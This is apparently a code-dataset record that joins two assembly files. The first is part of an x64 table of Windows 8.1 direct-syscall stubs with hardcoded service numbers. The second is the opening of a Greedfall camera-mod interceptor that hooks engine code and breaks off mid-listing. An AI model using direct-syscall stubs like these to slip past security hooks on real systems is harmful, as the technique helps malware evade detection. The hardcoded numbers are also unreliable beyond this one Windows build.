_6_3_9600_sp0_windows_8_1_NtSetDefaultUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 364
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDefaultUILanguage ENDP
; ULONG64 __stdcall NtSetDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetDriverEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 365
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDriverEntryOrder ENDP
; ULONG64 __stdcall NtSetEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetEaFile PROC STDCALL
mov r10 , rcx
mov eax , 366
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetEaFile ENDP
; ULONG64 __stdcall NtSetHighEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetHighEventPair PROC STDCALL
mov r10 , rcx
mov eax , 367
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetHighEventPair ENDP
; ULONG64 __stdcall NtSetHighWaitLowEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetHighWaitLowEventPair PROC STDCALL
mov r10 , rcx
mov eax , 368
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetHighWaitLowEventPair ENDP
; ULONG64 __stdcall NtSetIRTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetIRTimer PROC STDCALL
mov r10 , rcx
mov eax , 369
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIRTimer ENDP
; ULONG64 __stdcall NtSetInformationDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetInformationDebugObject PROC STDCALL
mov r10 , rcx
mov eax , 370
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationDebugObject ENDP
; ULONG64 __stdcall NtSetInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 371
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationEnlistment ENDP
; ULONG64 __stdcall NtSetInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationJobObject PROC STDCALL
mov r10 , rcx
mov eax , 372
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationJobObject ENDP
; ULONG64 __stdcall NtSetInformationKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationKey PROC STDCALL
mov r10 , rcx
mov eax , 373
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationKey ENDP
; ULONG64 __stdcall NtSetInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 374
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationResourceManager ENDP
; ULONG64 __stdcall NtSetInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationToken PROC STDCALL
mov r10 , rcx
mov eax , 375
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationToken ENDP
; ULONG64 __stdcall NtSetInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationTransaction PROC STDCALL
mov r10 , rcx
mov eax , 376
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationTransaction ENDP
; ULONG64 __stdcall NtSetInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 377
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationTransactionManager ENDP
; ULONG64 __stdcall NtSetInformationVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetInformationVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 378
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationVirtualMemory ENDP
; ULONG64 __stdcall NtSetInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 379
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationWorkerFactory ENDP
; ULONG64 __stdcall NtSetIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetIntervalProfile PROC STDCALL
mov r10 , rcx
mov eax , 380
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIntervalProfile ENDP
; ULONG64 __stdcall NtSetIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 381
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIoCompletion ENDP
; ULONG64 __stdcall NtSetIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetIoCompletionEx PROC STDCALL
mov r10 , rcx
mov eax , 382
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIoCompletionEx ENDP
; ULONG64 __stdcall NtSetLdtEntries( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetLdtEntries PROC STDCALL
mov r10 , rcx
mov eax , 383
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetLdtEntries ENDP
; ULONG64 __stdcall NtSetLowEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetLowEventPair PROC STDCALL
mov r10 , rcx
mov eax , 384
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetLowEventPair ENDP
; ULONG64 __stdcall NtSetLowWaitHighEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetLowWaitHighEventPair PROC STDCALL
mov r10 , rcx
mov eax , 385
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetLowWaitHighEventPair ENDP
; ULONG64 __stdcall NtSetQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetQuotaInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 386
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetQuotaInformationFile ENDP
; ULONG64 __stdcall NtSetSecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetSecurityObject PROC STDCALL
mov r10 , rcx
mov eax , 387
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSecurityObject ENDP
; ULONG64 __stdcall NtSetSystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValue PROC STDCALL
mov r10 , rcx
mov eax , 388
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValue ENDP
; ULONG64 __stdcall NtSetSystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValueEx PROC STDCALL
mov r10 , rcx
mov eax , 389
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValueEx ENDP
; ULONG64 __stdcall NtSetSystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetSystemInformation PROC STDCALL
mov r10 , rcx
mov eax , 390
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemInformation ENDP
; ULONG64 __stdcall NtSetSystemPowerState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetSystemPowerState PROC STDCALL
mov r10 , rcx
mov eax , 391
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemPowerState ENDP
; ULONG64 __stdcall NtSetSystemTime( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetSystemTime PROC STDCALL
mov r10 , rcx
mov eax , 392
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemTime ENDP
; ULONG64 __stdcall NtSetThreadExecutionState( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetThreadExecutionState PROC STDCALL
mov r10 , rcx
mov eax , 393
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetThreadExecutionState ENDP
; ULONG64 __stdcall NtSetTimer2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetTimer2 PROC STDCALL
mov r10 , rcx
mov eax , 394
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimer2 ENDP
; ULONG64 __stdcall NtSetTimerEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetTimerEx PROC STDCALL
mov r10 , rcx
mov eax , 395
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimerEx ENDP
; ULONG64 __stdcall NtSetTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetTimerResolution PROC STDCALL
mov r10 , rcx
mov eax , 396
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimerResolution ENDP
; ULONG64 __stdcall NtSetUuidSeed( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetUuidSeed PROC STDCALL
mov r10 , rcx
mov eax , 397
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetUuidSeed ENDP
; ULONG64 __stdcall NtSetVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetVolumeInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 398
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetVolumeInformationFile ENDP
; ULONG64 __stdcall NtSetWnfProcessNotificationEvent( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetWnfProcessNotificationEvent PROC STDCALL
mov r10 , rcx
mov eax , 399
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetWnfProcessNotificationEvent ENDP
; ULONG64 __stdcall NtShutdownSystem( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtShutdownSystem PROC STDCALL
mov r10 , rcx
mov eax , 400
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtShutdownSystem ENDP
; ULONG64 __stdcall NtShutdownWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtShutdownWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 401
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtShutdownWorkerFactory ENDP
; ULONG64 __stdcall NtSignalAndWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSignalAndWaitForSingleObject PROC STDCALL
mov r10 , rcx
mov eax , 402
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSignalAndWaitForSingleObject ENDP
; ULONG64 __stdcall NtSinglePhaseReject( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSinglePhaseReject PROC STDCALL
mov r10 , rcx
mov eax , 403
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSinglePhaseReject ENDP
; ULONG64 __stdcall NtStartProfile( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtStartProfile PROC STDCALL
mov r10 , rcx
mov eax , 404
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtStartProfile ENDP
; ULONG64 __stdcall NtStopProfile( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtStopProfile PROC STDCALL
mov r10 , rcx
mov eax , 405
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtStopProfile ENDP
; ULONG64 __stdcall NtSubscribeWnfStateChange( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSubscribeWnfStateChange PROC STDCALL
mov r10 , rcx
mov eax , 406
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSubscribeWnfStateChange ENDP
; ULONG64 __stdcall NtSuspendProcess( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSuspendProcess PROC STDCALL
mov r10 , rcx
mov eax , 407
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSuspendProcess ENDP
; ULONG64 __stdcall NtSuspendThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSuspendThread PROC STDCALL
mov r10 , rcx
mov eax , 408
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSuspendThread ENDP
; ULONG64 __stdcall NtSystemDebugControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSystemDebugControl PROC STDCALL
mov r10 , rcx
mov eax , 409
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSystemDebugControl ENDP
; ULONG64 __stdcall NtTerminateJobObject( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtTerminateJobObject PROC STDCALL
mov r10 , rcx
mov eax , 410
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTerminateJobObject ENDP
; ULONG64 __stdcall NtTestAlert( );
_6_3_9600_sp0_windows_8_1_NtTestAlert PROC STDCALL
mov r10 , rcx
mov eax , 411
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTestAlert ENDP
; ULONG64 __stdcall NtThawRegistry( );
_6_3_9600_sp0_windows_8_1_NtThawRegistry PROC STDCALL
mov r10 , rcx
mov eax , 412
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtThawRegistry ENDP
; ULONG64 __stdcall NtThawTransactions( );
_6_3_9600_sp0_windows_8_1_NtThawTransactions PROC STDCALL
mov r10 , rcx
mov eax , 413
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtThawTransactions ENDP
; ULONG64 __stdcall NtTraceControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtTraceControl PROC STDCALL
mov r10 , rcx
mov eax , 414
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTraceControl ENDP
; ULONG64 __stdcall NtTranslateFilePath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtTranslateFilePath PROC STDCALL
mov r10 , rcx
mov eax , 415
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTranslateFilePath ENDP
; ULONG64 __stdcall NtUmsThreadYield( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUmsThreadYield PROC STDCALL
mov r10 , rcx
mov eax , 416
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUmsThreadYield ENDP
; ULONG64 __stdcall NtUnloadDriver( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUnloadDriver PROC STDCALL
mov r10 , rcx
mov eax , 417
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadDriver ENDP
; ULONG64 __stdcall NtUnloadKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUnloadKey PROC STDCALL
mov r10 , rcx
mov eax , 418
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadKey ENDP
; ULONG64 __stdcall NtUnloadKey2( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtUnloadKey2 PROC STDCALL
mov r10 , rcx
mov eax , 419
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadKey2 ENDP
; ULONG64 __stdcall NtUnloadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtUnloadKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 420
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadKeyEx ENDP
; ULONG64 __stdcall NtUnlockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtUnlockFile PROC STDCALL
mov r10 , rcx
mov eax , 421
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnlockFile ENDP
; ULONG64 __stdcall NtUnlockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtUnlockVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 422
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnlockVirtualMemory ENDP
; ULONG64 __stdcall NtUnmapViewOfSectionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSectionEx PROC STDCALL
mov r10 , rcx
mov eax , 423
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSectionEx ENDP
; ULONG64 __stdcall NtUnsubscribeWnfStateChange( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUnsubscribeWnfStateChange PROC STDCALL
mov r10 , rcx
mov eax , 424
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnsubscribeWnfStateChange ENDP
; ULONG64 __stdcall NtUpdateWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtUpdateWnfStateData PROC STDCALL
mov r10 , rcx
mov eax , 425
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUpdateWnfStateData ENDP
; ULONG64 __stdcall NtVdmControl( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtVdmControl PROC STDCALL
mov r10 , rcx
mov eax , 426
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtVdmControl ENDP
; ULONG64 __stdcall NtWaitForAlertByThreadId( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtWaitForAlertByThreadId PROC STDCALL
mov r10 , rcx
mov eax , 427
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForAlertByThreadId ENDP
; ULONG64 __stdcall NtWaitForDebugEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtWaitForDebugEvent PROC STDCALL
mov r10 , rcx
mov eax , 428
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForDebugEvent ENDP
; ULONG64 __stdcall NtWaitForKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtWaitForKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 429
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForKeyedEvent ENDP
; ULONG64 __stdcall NtWaitForWorkViaWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWaitForWorkViaWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 430
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForWorkViaWorkerFactory ENDP
; ULONG64 __stdcall NtWaitHighEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtWaitHighEventPair PROC STDCALL
mov r10 , rcx
mov eax , 431
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitHighEventPair ENDP
; ULONG64 __stdcall NtWaitLowEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtWaitLowEventPair PROC STDCALL
mov r10 , rcx
mov eax , 432
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitLowEventPair ENDP
| 21.616689 | 362 | 0.761205 |
67d8e10fda76567db65eae96715fbbe46f9178f2 | 15,577 | asm | Assembly | Cameras/Greedfall/InjectableGenericCameraSystem/Interceptor.asm | ashelleyPurdue/InjectableGenericCameraSystem | 7c14d2a564225615e68b4774cfd621c8b5845e89 | [
"BSD-2-Clause"
] | null | null | null | Cameras/Greedfall/InjectableGenericCameraSystem/Interceptor.asm | ashelleyPurdue/InjectableGenericCameraSystem | 7c14d2a564225615e68b4774cfd621c8b5845e89 | [
"BSD-2-Clause"
] | null | null | null | Cameras/Greedfall/InjectableGenericCameraSystem/Interceptor.asm | ashelleyPurdue/InjectableGenericCameraSystem | 7c14d2a564225615e68b4774cfd621c8b5845e89 | [
"BSD-2-Clause"
] | null | null | null | ;////////////////////////////////////////////////////////////////////////////////////////////////////////
;// Part of Injectable Generic Camera System
;// Copyright(c) 2019, Frans Bouma
;// All rights reserved.
;// https://github.com/FransBouma/InjectableGenericCameraSystem
;//
;// Redistribution and use in source and binary forms, with or without
;// modification, are permitted provided that the following conditions are met :
;//
;// * Redistributions of source code must retain the above copyright notice, this
;// list of conditions and the following disclaimer.
;//
;// * Redistributions in binary form must reproduce the above copyright notice,
;// this list of conditions and the following disclaimer in the documentation
;// and / or other materials provided with the distribution.
;//
;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;---------------------------------------------------------------
; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc.
;---------------------------------------------------------------
;---------------------------------------------------------------
; Public definitions so the linker knows which names are present in this file
PUBLIC cameraStructInterceptor
PUBLIC cameraWrite1Interceptor
PUBLIC cameraWrite2Interceptor
PUBLIC cameraWrite3Interceptor
PUBLIC fogWriteInterceptor
PUBLIC todWriteInterceptor
PUBLIC gamespeedReadInterceptor
;---------------------------------------------------------------
;---------------------------------------------------------------
; Externs which are used and set by the system. Read / write these
; values in asm to communicate with the system
EXTERN g_cameraEnabled: byte
EXTERN g_cameraStructAddress: qword
EXTERN g_todStructAddress: qword
EXTERN g_gamespeedStructAddress: qword
EXTERN g_fogStructAddress: qword
;---------------------------------------------------------------
;---------------------------------------------------------------
; Own externs, defined in InterceptorHelper.cpp
EXTERN _cameraStructInterceptionContinue: qword
EXTERN _cameraWrite1InterceptionContinue: qword
EXTERN _cameraWrite2InterceptionContinue: qword
EXTERN _cameraWrite3InterceptionContinue: qword
EXTERN _todWriteInterceptionContinue: qword
EXTERN _gamespeedReadInterceptionContinue: qword
EXTERN _fogWriteInterceptionContinue: qword
.data
.code
cameraStructInterceptor PROC
;Engine.dll+365363 - 74 2D - je Engine.dll+365392
;Engine.dll+365365 - 48 8B CF - mov rcx,rdi
;Engine.dll+365368 - E8 A903CCFF - call Engine.Spider::danAnimationManager::findAnimationSet+C3
;Engine.dll+36536D - 4C 8D 87 F0000000 - lea r8,[rdi+000000F0]
;Engine.dll+365374 - 48 8B CB - mov rcx,rbx
;Engine.dll+365377 - 48 8D 54 24 60 - lea rdx,[rsp+60]
;Engine.dll+36537C - E8 008ACBFF - call Engine.CommonCore::spCircuitTLVElement::getCircuitName+127
;Engine.dll+365381 - 48 8B 9C 24 B0000000 - mov rbx,[rsp+000000B0]
;Engine.dll+365389 - 48 81 C4 A0000000 - add rsp,000000A0 { 160 }
;Engine.dll+365390 - 5F - pop rdi
;Engine.dll+365391 - C3 - ret
;Engine.dll+365392 - 66 0F7F 83 B0000000 - movdqa [rbx+000000B0],xmm0 << row 1 << INTERCEPT HERE
;Engine.dll+36539A - 66 0F7F 8B C0000000 - movdqa [rbx+000000C0],xmm1 << row 2
;Engine.dll+3653A2 - 66 0F7F 93 D0000000 - movdqa [rbx+000000D0],xmm2 << row 3
;Engine.dll+3653AA - 66 0F7F 9B E0000000 - movdqa [rbx+000000E0],xmm3 << row 4
;Engine.dll+3653B2 - 48 8B 9C 24 B0000000 - mov rbx,[rsp+000000B0] << CONTINUE HERE
;Engine.dll+3653BA - 48 81 C4 A0000000 - add rsp,000000A0 { 160 }
;Engine.dll+3653C1 - 5F - pop rdi
;Engine.dll+3653C2 - C3 - ret
mov [g_cameraStructAddress], rbx
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movdqa xmmword ptr [rbx+000000B0h],xmm0
movdqa xmmword ptr [rbx+000000C0h],xmm1
movdqa xmmword ptr [rbx+000000D0h],xmm2
movdqa xmmword ptr [rbx+000000E0h],xmm3
exit:
jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraStructInterceptor ENDP
cameraWrite1Interceptor PROC
;Engine.dll+2F213E - EB 2F - jmp Engine.dll+2F216F
;Engine.dll+2F2140 - 0F28 02 - movaps xmm0,[rdx]
;Engine.dll+2F2143 - 0F28 4A 10 - movaps xmm1,[rdx+10]
;Engine.dll+2F2147 - 0F28 52 20 - movaps xmm2,[rdx+20]
;Engine.dll+2F214B - 0F28 5A 30 - movaps xmm3,[rdx+30]
;Engine.dll+2F214F - 66 0F7F 81 B0000000 - movdqa [rcx+000000B0],xmm0 << row 1 << INTERCEPT HERE
;Engine.dll+2F2157 - 66 0F7F 89 C0000000 - movdqa [rcx+000000C0],xmm1 << row 2
;Engine.dll+2F215F - 66 0F7F 91 D0000000 - movdqa [rcx+000000D0],xmm2 << row 3
